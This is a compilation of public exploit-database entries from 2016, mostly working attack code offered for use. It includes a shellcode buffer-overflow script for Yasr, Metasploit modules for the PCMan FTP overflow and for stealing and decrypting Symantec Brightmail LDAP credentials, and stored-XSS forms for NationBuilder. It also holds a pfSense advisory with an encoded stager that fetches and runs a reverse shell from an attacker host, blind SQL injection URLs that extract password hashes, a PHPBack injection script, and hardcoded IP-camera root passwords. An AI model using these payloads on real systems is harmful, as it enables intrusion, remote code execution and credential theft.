# Program received signal SIGSEGV, Segmentation fault.
#
# 0x90909090 in ?? ()
#
#gdb$ backtrace
#0  0xb7fdebe0 in __kernel_vsyscall ()
#1  0xb7e33367 in __GI_raise (sig=sig@entry=0x6) at
../nptl/sysdeps/unix/sysv/linux/raise.c:56
#2  0xb7e34a23 in __GI_abort () at abort.c:89
#3  0xb7e71778 in __libc_message (do_abort=do_abort@entry=0x2,
fmt=fmt@entry=0xb7f67715 "*** %s ***: %s terminated\n") at
../sysdeps/posix/libc_fatal.c:175
#4  0xb7f01b85 in __GI___fortify_fail (msg=msg@entry=0xb7f67696
"buffer overflow detected") at fortify_fail.c:31
#5  0xb7effc3a in __GI___chk_fail () at chk_fail.c:28
'''

import os, subprocess

def run():
  try:
    print "# Yasr Console Screen Reader - Buffer Overflow by Juan Sacco"
    print "# This exploit is for educational purposes only"
    # JUNK + SHELLCODE + NOPS + EIP

    junk = "\x41"*298
    shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    nops = "\x90"*12
    eip = "\xd2\xf3\xff\xbf"
    subprocess.call(["yasr ",'-p ', junk + shellcode + nops + eip])

  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "Sorry, Yasr Console Reader - Not found!"
    else:
        print "Error executing exploit"
    raise

def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)

if __name__ == '__main__':
  try:
    print "Exploit Yasr 0.6.9-5 Local Overflow Exploit"
    print "Author: Juan Sacco"
  except IndexError:
    howtousage()
run()
            
# Exploit Title: RATS 2.3 Crash POC
# Date: 25th April 2016
# Exploit Author: David Silveiro
# Author Contact: twitter.com/david_silveiro
# Website: Xino.co.uk
# Software Link: https://code.google.com/archive/p/rough-auditing-tool-for-security/downloads
# Version: RATS 2.3
# Tested on: Ubuntu 14.04 LTS
# CVE : 0 day

from shlex import split
from os import system


def crash():

    try:
        com = ('rats --AAAA')
        return system(com)
    
    except:
        print("Is RATS installed?")


def main():

    print("Author:   David Silveiro        ")
    print("Website:  Xino.co.uk            ")
    print("Title:    POC RATS v2.3 Crash \n")

    crash()


if __name__ == "__main__":
    main()
    
            
<!--


NationBuilder Multiple Stored XSS Vulnerabilities


Vendor: NATIONBUILDER WHQ
Product web page: http://www.nationbuilder.com
Affected version: unknown
Platform: Ruby

Summary: NationBuilder is a unique nonpartisan community
organizing system that brings together a comprehensive
suite of tools that today's leaders and creators need to
gather their tribes. Deeply social.

Desc: The application suffers from multiple stored XSS
vulnerabilities. Input passed to several POST parameters
is not properly sanitised before being returned to the
user. This can be exploited to execute arbitrary HTML
and script code in a user's browser session in context
of an affected site.

Tested on: Apache/2.2.22 (Ubuntu)
           Phusion Passenger 4.0.48


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5318
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5318.php

Ruby client for NationBuilder API:
https://github.com/nationbuilder/nationbuilder-rb


11.04.2016

-->


#1 Stored XSS in 'signup[note]' POST parameter
----------------------------------------------
#
#  PoC:
#

<html>
  <body>
    <form action="https://domain.local/admin/signups/2/background?screen=signup-header" method="POST">
      <input type="hidden" name="utf8" value="%E2%9C%93" />
      <input type="hidden" name="authenticity_token" value="0ch5v8vyarO/yzmWoLWtOKBVpOjVVaQe/V8yg5jfNO8=" />
      <input type="hidden" name="signup[note]" value="<script>alert(onfirm(document.cookie)</script>" />
      <input type="hidden" name="commit" value="Save background" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>



#2 Stored XSS in 'page_tag[name]' POST parameter
------------------------------------------------
#
#  PoC:
#

<html>
  <body>
    <form action="https://domain.local/admin/sites/1/tags" method="POST">
      <input type="hidden" name="utf8" value="%E2%9C%93" />
      <input type="hidden" name="authenticity_token" value="0ch5v8vyarO/yzmWoLWtOKBVpOjVVaQe/V8yg5jfNO8=" />
      <input type="hidden" name="page_tag[name]" value="<script>confirm(document.cookie)</script>" />
      <input type="hidden" name="commit" value="Add tag" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>



#3 Stored XSS in 'page[slug]' and 'page[headline]' POST parameters
------------------------------------------------------------------
#
#  PoC:
#

<html>
  <body>
    <form action="https://domain.local/admin/sites/1/pages/12?screen=seo" method="POST">
      <input type="hidden" name="utf8" value="â" />
      <input type="hidden" name="_method" value="put" />
      <input type="hidden" name="authenticity_token" value="wAqOhULjnK8/H3ip+zE6yg3IHaGa6ggbjxOoN2tf30I=" />
      <input type="hidden" name="page[title]" value="Volunteer - ZSL" />
      <input type="hidden" name="page[slug]" value="volunteer_script_confirm_document_cookie_script" />
      <input type="hidden" name="page[headline]" value="Volunteer<script>confirm(document.cookie)</script>" />
      <input type="hidden" name="page[excerpt]" value="1" />
      <input type="hidden" name="commit" value="Save page" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

## Original Exploit Information ##
# Date:  29 Aug 2015
# Exploit Author: Koby
# Tested on: Windows XP SP3
# Link: https://www.exploit-db.com/exploits/38013/

## Software Information ##
# Vendor Homepage: http://pcman.openfoundry.org/
# Software Link: https://www.exploit-db.com/apps/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7z
# Version: 2.0.7

## Metasploit Module Information ##
# Date:  16 April 2016
# Exploit Author: Jonathan Smith
# Tested on: Windows XP SP2

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::Ftp

 def initialize(info = {})

 super(update_info(info,

    'Name' => 'PCMan RENAME overflow',

    'Description' => 'This module exploits a buffer overflow in the RENAME command of PCMAN FTP Server 2.0.7. This requires authentication but anonymous credentials are enabled by default.',

    'Author' => [ 'Metasploit module author: Jonathan Smith. Vulnerability originally discovered by Koby on 29 August 2015. Metasploit module developed 16 April 2016.'],

    'Version' => '$Revision: 1 $',

    'Platform' => ['win'],

    'Targets' => [ [ 'Windows XP SP2', { } ],],

    'DefaultTarget' => 0,

    'License' => GPL_LICENSE,

    'Payload' => {'BadChars' => "\x00\x0a\x0d"},

    'DefaultOptions' => {'EXITFUNC' => 'process'}

 ))

 end

def exploit

 connect_login

 exploitcode = "A" * 2004 + "\x65\x82\xA5\x7C" + make_nops(30) + payload.encoded

 send_cmd( ['RENAME', exploitcode] , false )

 disconnect

 end

end
            
# Exploit Title: CompuSource Systems - Real Time Home Banking - Local
Privilege Escalation/Arbitrary Code Execution
# Date: 2/25/16
# Exploit Author: singularitysec@gmail.com
# Vendor Homepage: https://www.css4cu.com
#                                   : https://www.css4cu.com/Next/InfoSide/SoftwareSolutions.php
# Version: CompuSource Systems - Real Time Home Banking
# Tested on: Windows 7
# CVE : TBD

Note: Windows Server 2003/2008/2012  *may* be vulnerable, depending on
system configuration.

This vulnerability has been reference checked against multiple installs.
This configuration was identical across all systems tested.

Executables/Services:

%SystemRoot%/css50/csdir/RealTimeHomeBankingSvc.exe
HomeBankingService

Attack Detail:
The application installs with LOCAL SYSTEM service credentials in the
directory %SystemRoot%/css50/csdir


The executables that are installed, by default, allow AUTHENTICATED USERS
to modify, replace or alter the file. This would allow an attacker to
inject their code or replace the executable and have it run in the context
of the system.


This would allow complete compromise of a machine on which it was
installed, giving the process LOCAL SYSTEM access to the machine in
question. An attacker can replace the file or append code to the
executable, reboot the system or restart the service and it would then
compromise the machine. As LOCAL SYSTEM is the highest privilege level on a
machine, this allows total control and access to all parts of the system.


Remediation:

Remove the modify/write permissions on the executables to allow only
privileged users to alter the files.
Apply vendor patch when distributed.

Vulnerability Discovered: 2/25/16

Vendor Notified: 2/25/16


Website: www.information-paradox.net
This vulnerability was discovered by singularitysec@gmail.com. Please
credit the author in all references to this exploit.
            
# Exploit Title: Symantec Brightmail ldap credential Grabber 
# Date: 18/04/2016
# Exploit Author: Fakhir Karim Reda
# Vendor Homepage: https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year&suid=20160418_00
# Version: 10.6.0-7 and earlier
# Tested on: Linux, Unox Windows 
# CVE : CVE-2016-2203


#Symantec Brightmail 10.6.0-7 and earlier save the AD password somewhere in the product. By having a read account on the gateway  we can recover the AD #ACOUNT/PASSWORD  

#indeed the html code contains the encrypted AD password.

#the encryption and decryption part is implemented in Java in the appliance, by reversing the code we get to know the encryption algorithm:

#public static String decrypt(String password)
#{
#byte clearText[];
#try{
#PBEKeySpec keySpec = new PBEKeySpec("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\"{}`~!@#$%^&*()_+-=".toCharArray());
#SecretKeyFactory keyFactory = SecretKeyFactory.getInstance("PBEWithMD5AndDES");
#SecretKey secretKey = keyFactory.generateSecret(keySpec);
#System.out.println("Encoded key "+ (new String(secretKey.getEncoded())));


##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require "base64"
require 'digest'
require "openssl"


class MetasploitModule < Msf::Auxiliary

  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Symantec Messaging Gateway 10 LDAP Creds Graber',
      'Description'    => %q{
          This module will  grab the AD account saved in Symantec Messaging Gateway and then decipher it using the disclosed symantec pbe key.  Note that authentication is required in order to successfully grab the LDAP credentials, you need at least a read account. Version 10.6.0-7 and earlier are affected

      },
      'References'     =>
        [
          ['URL','https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20160418_00'],
          ['CVE','2016-2203'],
          ['BID','86137']
        ],

      'Author'         =>
        [
          'Fakhir Karim Reda <karim.fakhir[at]gmail.com>'
        ],
       'DefaultOptions' =>
        {
          'SSL' => true,
          'SSLVersion' => 'TLS1',
          'RPORT' => 443
        },
       'License'        => MSF_LICENSE,
       'DisclosureDate' => "Dec 17 2015"
    ))
    register_options(
      [
        OptInt.new('TIMEOUT', [true, 'HTTPS connect/read timeout in seconds', 1]),
        Opt::RPORT(443),
        OptString.new('USERNAME', [true, 'The username to login as']),
        OptString.new('PASSWORD', [true, 'The password to login with'])
      ], self.class)
    deregister_options('RHOST')
  end


  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def print_good(msg='')
    super("#{peer} - #{msg}")
  end

  def print_error(msg='')
    super("#{peer} - #{msg}")
  end

  def report_cred(opts)
   service_data = {
    address: opts[:ip],
    port: opts[:port],
    service_name: 'LDAP',
    protocol: 'tcp',
    workspace_id: myworkspace_id
   }
   credential_data = {
    origin_type: :service,
    module_fullname: fullname,
    username: opts[:user],
    private_data: opts[:password],
    private_type: :password
   }.merge(service_data)
   login_data = {
    last_attempted_at: DateTime.now,
    core: create_credential(credential_data),
    status: Metasploit::Model::Login::Status::SUCCESSFUL,
    proof: opts[:proof]
   }.merge(service_data)

   create_credential_login(login_data)
  end

  def auth(username, password, sid, last_login)
    # Real JSESSIONID  cookie
    sid2 = ''
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => '/brightmail/login.do',
      'headers'   => {
        'Referer' => "https://#{peer}/brightmail/viewLogin.do",
        'Connection' => 'keep-alive'
      },
      'cookie'    => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}",
      'vars_post' => {
        'lastlogin'  => last_login,
        'userLocale' => '',
        'lang'       => 'en_US',
        'username'   => username,
        'password'   => password,
        'loginBtn'   => 'Login'
      }
    })
   if res.body =~ /Logged in/
      sid2 = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
      return sid2
   end
   if res and res.headers['Location']
     mlocation = res.headers['Location']
     new_uri = res.headers['Location'].scan(/^http:\/\/[\d\.]+:\d+(\/.+)/).flatten[0]
     res = send_request_cgi({
        'uri'    => new_uri,
        'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}"
     })
     sid2 = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
     return sid2  if res and res.body =~ /Logged in/
   end
   return false
  end

  def get_login_data
    sid        = ''  #From cookie
    last_login = ''  #A hidden field in the login page
    res = send_request_raw({'uri'=>'/brightmail/viewLogin.do'})
    if res and !res.get_cookies.empty?
      sid = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
    end
    if res
      last_login = res.body.scan(/<input type="hidden" name="lastlogin" value="(.+)"\/>/).flatten[0] || ''
    end
    return sid, last_login
  end

  # Returns the status of the listening port.
  #
  # @return [Boolean] TrueClass if port open, otherwise FalseClass.

  def port_open?
    begin
      res = send_request_raw({'method' => 'GET', 'uri' => '/'}, datastore['TIMEOUT'])
      return true if res
    rescue ::Rex::ConnectionRefused
      print_status("#{peer} - Connection refused")
      return false
    rescue ::Rex::ConnectionError
      print_error("#{peer} - Connection failed")
      return false
    rescue ::OpenSSL::SSL::SSLError
      print_error("#{peer} - SSL/TLS connection error")
      return false
    end
  end

  # Returns the derived key from the password, the salt and the iteration count number.
  #
  # @return Array of byte containing the derived key.
  def get_derived_key(password, salt, count)
    key = password + salt
    for i in 0..count-1
        key = Digest::MD5.digest(key)
    end
    kl = key.length
    return key[0,8], key[8,kl]
  end


  # @Return the deciphered password
  # Algorithm obtained by reversing the firmware
  #
  def decrypt(enc_str)
    pbe_key="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./<>?;':\"\\{}`~!@#$%^&*()_+-="
    salt = (Base64.strict_decode64(enc_str[0,12]))
    remsg = (Base64.strict_decode64(enc_str[12,enc_str.length]))
    (dk, iv) = get_derived_key(pbe_key, salt, 1000)
    alg = "des-cbc"
    decode_cipher = OpenSSL::Cipher::Cipher.new(alg)
    decode_cipher.decrypt
    decode_cipher.padding = 0
    decode_cipher.key = dk
    decode_cipher.iv = iv
    plain = decode_cipher.update(remsg)
    plain << decode_cipher.final
    return  plain.gsub(/[\x01-\x08]/,'')
  end

 def grab_auths(sid,last_login)
  token = '' #from hidden input
  selected_ldap = '' # from checkbox input
  new_uri = '' # redirection
  flow_id = '' # id of the flow
  folder = '' # symantec folder
  res = send_request_cgi({
   'method'    => 'GET',
   'uri'       => "/brightmail/setting/ldap/LdapWizardFlow$exec.flo",
   'headers'   => {
    'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo",
    'Connection' => 'keep-alive'
   },
   'cookie'    => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid};"
   })
   if res
    token = res.body.scan(/<input type="hidden" name="symantec.brightmail.key.TOKEN" value="(.+)"\/>/).flatten[0] || ''
    selected_ldap = res.body.scan(/<input type="checkbox" value="(.+)" name="selectedLDAP".+\/>/).flatten[0] || ''
   else
    return false
   end
   res = send_request_cgi({
    'method'    => 'POST',
    'uri'       => "/brightmail/setting/ldap/LdapWizardFlow$edit.flo",
    'headers'   => {
     'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo",
     'Connection' => 'keep-alive'
    },
    'cookie'    => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}; ",
    'vars_post'  => {
     'flowId'  => '0',
     'userLocale' => '',
     'lang'       => 'en_US',
     'symantec.brightmail.key.TOKEN'=> "#{token}",
     'selectedLDAP' => "#{selected_ldap}"
    }
   })
   if res and res.headers['Location']
    mlocation = res.headers['Location']
    new_uri = res.headers['Location'].scan(/^https:\/\/[\d\.]+(\/.+)/).flatten[0]
    flow_id =  new_uri.scan(/.*\?flowId=(.+)/).flatten[0]
    folder = new_uri.scan(/(.*)\?flowId=.*/).flatten[0]
   else
    return false
   end
   res = send_request_cgi({
    'method'    => 'GET',
    'uri'       => "#{folder}",
    'headers'   => {
     'Referer' => "https://#{peer}/brightmail/setting/ldap/LdapWizardFlow$exec.flo",
     'Connection' => 'keep-alive'
    },
    'cookie'    => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}; ",
    'vars_get'  => {
     'flowId'  => "#{flow_id}",
     'userLocale' => '',
     'lang'       => 'en_US'
    }
   })
   if res and res.code == 200
    login = res.body.scan(/<input type="text" name="userName".*value="(.+)"\/>/).flatten[0] || ''
    password = res.body.scan(/<input type="password" name="password".*value="(.+)"\/>/).flatten[0] || ''
    host =  res.body.scan(/<input name="host" id="host" type="text" value="(.+)" class/).flatten[0] || ''
    port =  res.body.scan(/<input name="port" id="port" type="text" value="(.+)" class/).flatten[0] || ''
    password = decrypt(password)
    print_good("Found login = '#{login}' password = '#{password}' host ='#{host}' port = '#{port}' ")
    report_cred(ip: host, port: port, user:login, password: password, proof: res.code.to_s)
   end
  end

  def run_host(ip)
    return unless port_open?
    sid, last_login = get_login_data
    if sid.empty? or last_login.empty?
      print_error("#{peer} - Missing required login data.  Cannot continue.")
      return
    end
    username = datastore['USERNAME']
    password = datastore['PASSWORD']
    sid = auth(username, password, sid, last_login)
    if not sid
      print_error("#{peer} - Unable to login.  Cannot continue.")
      return
    else
      print_good("#{peer} - Logged in as '#{username}:#{password}' Sid: '#{sid}' LastLogin '#{last_login}'")
    e   nd
    grab_auths(sid,last_login)
  end
end
            
Exploit Title: TH692- Outdoor P2P HD Waterproof IP Camera hardcoded credentials
Date: 4/16/2016
Exploit Author: DLY
Vendor: TENVIS Technology Co., Ltd
Product: TH692- Outdoor P2P HD Waterproof IP Camera
Product webpage: http://www.tenvis.com/th-692-outdoor-p2p-hd-waterproof-ip-camera-p-230.html
Affected version: TH692C-V. 16.1.16.1.1.4
firmware download link: http://download.tenvis.com/files/updatefiles/UPG_ipc3360a-w7-M20-hi3518-20160229_173554.ov

user: Mroot
pass:cat1029
user:Wproot
pass: cat1029

root@kali:~# strings UPG_ipc3360a-w7-M20-hi3518-20160229_173554.ov.1 | grep root
rootpath
rootfs crc %lx
------------------start upgrade rootfs------------------
------------------end upgrade rootfs------------------
bootargs=mem=74M console=ttyAMA0,115200 root=/dev/mtdblock2 rootfstype=jffs2 mtdparts=hi_sfc:256K(boot),2560K(kernel),11520K(rootfs),1M(config),64K(key),960K(ext)
nfsroot
7root
Bmount -t nfs -o nolock 192.168.0.99:/home/bt/vvvipc_develop/rootfs_target /nfsroot
k01000100    rootbox    nohelp info
root::0:
Mroot:$1$xFoO/s3I$zRQPwLG2yX1biU31a2wxN/:0:0::/root:/bin/sh
Wproot:$1$d3VPdE0x$Ztn09cyReJy5PynZgwCbw0:0:0::/root:/bin/sh
nfsroot
pivot_root
xswitch_root
chroot
nfsroot
root@kali:~# john --show ipcamhashes
Mroot:cat1029:0:0::/root:/bin/sh
Wproot:cat1029:0:0::/root:/bin/sh

2 password hashes cracked, 0 left
            
(    , )     (,
  .   '.' ) ('.    ',
   ). , ('.   ( ) (
  (_,) .'), ) _ _,
 /  _____/  / _  \    ____  ____   _____
 \____  \==/ /_\  \ _/ ___\/  _ \ /     \
 /       \/   |    \\  \__(  <_> )  Y Y  \
/______  /\___|__  / \___  >____/|__|_|  /
        \/         \/.-.    \/         \/:wq
                    (x.0)
                  '=.|w|.='
                  _=''"''=.

                presents..

PfSense Community Edition Multiple Vulnerabilities
Affected versions: PfSense Community Edition <= 2.2.6

PDF:
http://www.security-assessment.com/files/documents/advisory/pfsenseAdvisory.pdf

+-----------+
|Description|
+-----------+
The pfSense community edition firewall is vulnerable to multiple
vulnerabilities, including remote code execution via command injection
as an authenticated non-administrative user, stored and reflected
cross-site scripting.

+------------+
|Exploitation|
+------------+
==Command Injection==
The status_rrd_graph_img.php page is vulnerable to command injection via
the graph GET parameter. A non-administrative authenticated attacker
having access privileges to the graph status functionality can inject
arbitrary operating system commands and execute them in the context of
the root user. Although input validation is performed on the graph
parameter through a regular expression filter, the pipe character is not
removed. Octal characters sequences can be used to encode a payload,
bypass the filter for illegal characters, and create a PHP file to
download and execute a malicious file (i.e. reverse shell) from a remote
attacker controlled host.

[Octal-encoded PHP Stager]
stager = (
'echo \'<?php $shell =
file_get_contents("http://[ATTACKER_IP]/shell.elf");' +
'file_put_contents("myshell.elf", $shell);' +
'system("chmod 755 myshell.elf && ./myshell.elf"); ?> \' > shellexec'
)
encoded_stager = ''
for c in stager:
 encoded_stager += "\\\\%03d" %(int(oct(ord(c))))
print encoded_stager

[CSRF POC]
<html>
<head>
  <script>
    function sploit() {
    var query = "database=-throughput.rrd&graph=file|printf
[ENCODED_STAGER]|sh|echo ";
    var xhr = new XMLHttpRequest();
    xhr.open("GET", "https://<target>/status_rrd_graph_img.php?" +
query, true);
    xhr.withCredentials = true;
    xhr.send();
        
    setTimeout(shellexec, 2000);
    }
    
    function shellexec() {
        document.csrf_exploit_exec.submit();
    }
  </script>
</head>
<body onload="sploit();">
  <form name="csrf_exploit_exec"
action="https://<target>/status_rrd_graph_img.php">
      <input type="hidden" name="database" value="-throughput.rrd" />
      <input type="hidden" name="graph" value="file|php shellexec|echo " />
  </form>
</body>
</html>

==Cross-site Scripting==
Multiple instances of stored and reflected cross-scripting
vulnerabilities exist in the web interface of the application. An
authenticated attacker with limited privileges can run arbitrary
JavaScript code in the context of admin users’ session and extend their
access to administrative areas of the application (i.e. command prompt
functionality).

Param   => descr
Method  => POST
URL        => /system_gateways_edit.php
Payload => <script>alert(1)</script>
Render  => /system_gateways_groups_edit.php
Type    => Stored

Param   => container
Method  => POST
URL     => /firewall_shaper_layer7.php
Payload => "><script>alert(1)</script>
Render  => /firewall_shaper_layer7.php
Type    => Reflected

Param   => newname
Method  => POST
URL     => /firewall_shaper_vinterface.php
Payload => "><script>alert(1)</script>
Render  => /firewall_shaper_vinterface.php
Type    => Reflected


+----------+
| Solution |
+----------+
Upgrade to pfSense 2.3. This may be performed in the web interface or
from the console.

+------------+
|  Timeline  |
+------------+
10/02/2016 – Initial disclosure to pfSense.
11/02/2016 – Vendor confirms receipt of advisory and provides fixes.
16/02/1016 – Sent follow up email about public release.
16/02/2016 – Vendor requests advisory disclosure after release of new
software build.
12/04/2016 – Release of patched software build and vendor disclosure of
security advisories.
15/04/2016 – Public disclosure of security advisory.

+------------+
| Additional |
+------------+
Further information is available in the accompanying PDF.
http://www.security-assessment.com/files/documents/advisory/pfsenseAdvisory.pdf

+------------+
| References |
+------------+
https://www.pfsense.org/security/advisories/pfSense-SA-16_01.webgui.asc
https://www.pfsense.org/security/advisories/pfSense-SA-16_02.webgui.asc
            
# Title: Blind Injection modified eCommerce 2.0.0.0 rev 9678
# Date: 16.04.2016
# Category: webapps
# Vendor Homepage: http://www.modified-shop.org/download
# Software Link: http://www.modified-shop.org/forum/index.php?action=downloads;sa=downfile&id=96
# Version: 2.0.0.0 rev 9678
# Tested on: Apache/2.4.7, PHP Version 5.5.9, Linux
# Exploit Author: Felix Maduakor
# Contact: Felix.Maduakor@rub.de
# CVE: CVE-2016-3694

Product Description:
modified eCommerce is an Open Source shopsoftware

Vulnerability Details:
Attackable are the GET-parameters 'orders_status' and 'customers_status' through 'easybillcsv.php':


File: [shoproot]/api/easybill/easybillcsv.php

[24] 		if (isset($_GET['token']) &&  $_GET['token'] == MODULE_EASYBILL_CSV_CRON_TOKEN) {
[25-61] 		...
[62]			} else {
[63]					die('Direct Access to this location is not allowed.');

As default option the easybill-module is not installed and the constant MODULE_EASYBILL_CSV_CRON_TOKEN is not set. As long as the easybill-module is not installed, it is possible to bypass the restriction: [Shoproot]/api/easybill/easybillcsv.php?token=MODULE_EASYBILL_CSV_CRON_TOKEN


[35]			if (count($_GET['orders_status']) > 0) {
[36]			$_GET['orders_status'] = preg_replace("'[\r\n\s]+'", '', $_GET['orders_status']);
[37]			$orders_status = explode(',', $_GET['orders_status']);
[38]			$module->from_orders_status = implode("', '", $orders_status);
[39]			}


[43]			if (isset($_GET['customers_status'])) {
[44]			$_GET['customers_status'] = preg_replace("'[\r\n\s]+'", '', $_GET['customers_status']);
[45]			$customers_status = explode(',', $_GET['customers_status']);
[46]			$module->from_customers_status = implode("', '", $customers_status);
[47]			}

As you can see in lines 35-39 and 43-47 the GET-parameters 'orders_status' and 'customers_status' are not escaped, but formatted (removed whitespaces, replaced commas with "', '"). They will be set as local variables of the "$module"-object.

File: [shoproot][admin-folder]/includes/modules/system/easybillcsv.php

[63]		$export_query = xtc_db_query("SELECT DISTINCT o.orders_id 
[64]                                    FROM ".TABLE_ORDERS." o
[65]                                    JOIN ".TABLE_ORDERS_STATUS_HISTORY." osh
[66]                                      ON o.orders_id = osh.orders_id	
[67]                                   WHERE (o.orders_status IN ('" . $this->from_orders_status . "') 
[68]                                          OR osh.orders_status_id IN ('" . $this->from_orders_status . "'))
[69]                                     AND (o.last_modified >= '". date( "Y-m-d H:i:s", strtotime($this->from_order_date)) . "'
[70]                                          OR o.date_purchased >= '". date( "Y-m-d H:i:s", strtotime($this->from_order_date)) . "')
[71]                                     AND o.customers_status IN ('" . $this->from_customers_status . "')
[72]                                ORDER BY o.orders_id");


The unescaped GET-parameters get placed in the query on line 67, 68 and 71.
Through the ORDER BY statement (with the explicit table-references) it is not possible to use a union-based injection.
The injection cannot include whitespaces or commas.

POC [Proof of Concept]:

http://127.0.0.1/shop/api/easybill/easybillcsv.php?token=MODULE_EASYBILL_CSV_CRON_TOKEN&orders_status=-111'))or-sleep(5)/*&customers_status=*/%23
Will result in following query and execute the sleep-function for 5 seconds:

SELECT DISTINCT o.orders_id 
                                   FROM ".TABLE_ORDERS." o
                                    JOIN ".TABLE_ORDERS_STATUS_HISTORY." osh
                                      ON o.orders_id = osh.orders_id	
                                   WHERE (o.orders_status IN ('-111'))or-sleep(5)/* 
    
                                    long comment
                                         
                                    */#comment
                               ORDER BY o.orders_id

There are multiple ways to bypass the whitespace/comma-filter. A possible way to check if the first character of the admin-hash is '$' would be:


http://127.0.0.1/shop/api/easybill/easybillcsv.php?token=MODULE_EASYBILL_CSV_CRON_TOKEN&orders_status=-111'))or(Select(case(36)when(ascii(substring(`customers_password`FROM(1)FOR(1))))then-sleep(5)End)from`customers`where`customers_id`=1)/*&customers_status=*/%23




Timeline
-----
[16.04.2016] Reporting vulnerability to vendor
            
/*
[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/PHPBACK-v1.3.0-SQL-INJECTION.txt


Vendor:
================
www.phpback.org


Product:
================
PHPBack v1.3.0


Vulnerability Type:
===================
SQL Injection


CVE Reference:
==============
N/A


Vulnerability Details:
=====================

PHPBack v1.3.0 is vulnerable to boolean blind and error based SQL Injection in the 'orderby' parameter.
By sending SQL Injection query using MySQL XPATH function ExtractValue() we can grab information
from the errors generated.

This is useful when we get no output except MySQL errors, we can force data extraction through the error. 
When using ExtractValue() function to generate error, evaluated results of our SQL query will be embedded
in query error message. Adding a colon "0x3a" to the beginning of the query will ensure parsing will always
FAIL generating an error along with our extracted data. This method only works on MySQL version >= 5.1, we can
then use SQL LIMIT function to move thru database informations.


Users should upgrade to v1.3.1
https://github.com/ivandiazwm/phpback/releases


Exploit code(s):
===============

Run from CL...
*/

<?php
error_reporting(0);
#PHPBACK v1.3.0 ORDER BY SQL INJECTION POC
#Credit: hyp3rlinx 
#ISR: apparitionsec
#Site: hyp3rlinx.altervista.org
#///////////////////////////////////////////////////////////////////
#
#run this BOT from CL it does following...
#1) authenticates to target
#2) SQL injection using XPATH query to create error and get output
#   for current MySQL USER(), DATABASE() and VERSION()
#Supported in MySQL >= 5.1 only
#====================================================================

$email=$argv[1];
$pwd=$argv[2];

if($argc<3){
echo "PHPBack 1.3.0 SQL Injection POC\r\n";
echo "Outputs USER(), DATABASE() and VERSION() on XPATH Error!\r\n";
echo "Supported in MySQL >= 5.1 versions only\r\n";
echo "==========================================================\r\n";
echo "Enter Creds: <email> <password>\r\n";
echo "*** by hyp3rlinx *** \r\n";
exit();
}

$target="localhost";
$creds="email=$email&password=$pwd"; 

$fp = fsockopen("localhost", 80, $errno, $errstr, 30);
sock_chk($fp);

#authenticate
    $out = "POST /phpback-1.3.0/action/login HTTP/1.0\r\n";
    $out .= "Host: $target\r\n";
    $out .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $out .= 'Content-Length: ' . strlen($creds) . "\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    fwrite($fp, $creds);
$phpsess="";
$res="";
    while (!feof($fp)) {
        $res .= fgets($fp, 128);
if(strpos($res,"\r\n\r\n")!==FALSE){break;}
    }

$sess=get_session($fp);
function get_session($sock){
global $res;
$idx=strpos($res,"PHPSESSID");
$sess=substr($res,$idx,38);
return $sess;
}

#SQL Injection  
$sql="search=1&orderby=title,extractvalue(0x0a,concat(0x0a,(select USER()), 0x0a, (select DATABASE()), 0x0a, (select VERSION())))\r\n";

$fp = fsockopen("localhost", 80, $errno, $errstr, 30);
sock_chk($fp);

    $out = "POST /phpback-1.3.0/admin/ideas HTTP/1.0\r\n";
    $out .= "Host: $target\r\n";
    $out .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $out .= 'Content-Length: ' . strlen($sql) . "\r\n";
$out .= "Cookie: " . $sess."\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    fwrite($fp, $sql);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
function sock_chk(&$fp){
if (!$fp) {echo "Cant connect!";exit();} 
}

?> 


/*
Disclosure Timeline:
=====================================
Vendor Notification: April 17, 2016
Vendor Confirms: April 17, 2016
Vendor Release Fixed Version: April 19, 2016
April 19, 2016 : Public Disclosure


Exploitation Technique:
=======================
Remote


Severity Level:
================
Medium


Description:
==================================================

Request Method(s):        [+]  POST


Vulnerable Product:       [+] PHPBack v1.3.0


